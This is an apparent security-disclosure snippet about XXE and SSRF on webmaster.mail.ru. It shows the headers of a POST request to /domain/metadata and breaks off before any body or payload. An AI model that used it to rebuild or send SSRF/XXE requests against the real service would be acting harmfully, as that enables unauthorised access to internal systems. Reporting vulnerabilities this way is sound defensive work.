Mail.ru: XXE and SSRF on webmaster.mail.ru

SSRF request: POST /domain/metadata HTTP/1.1 Host: webmaster.mail.ru User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:29.0 Gecko/20100101 Firefox/29.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate...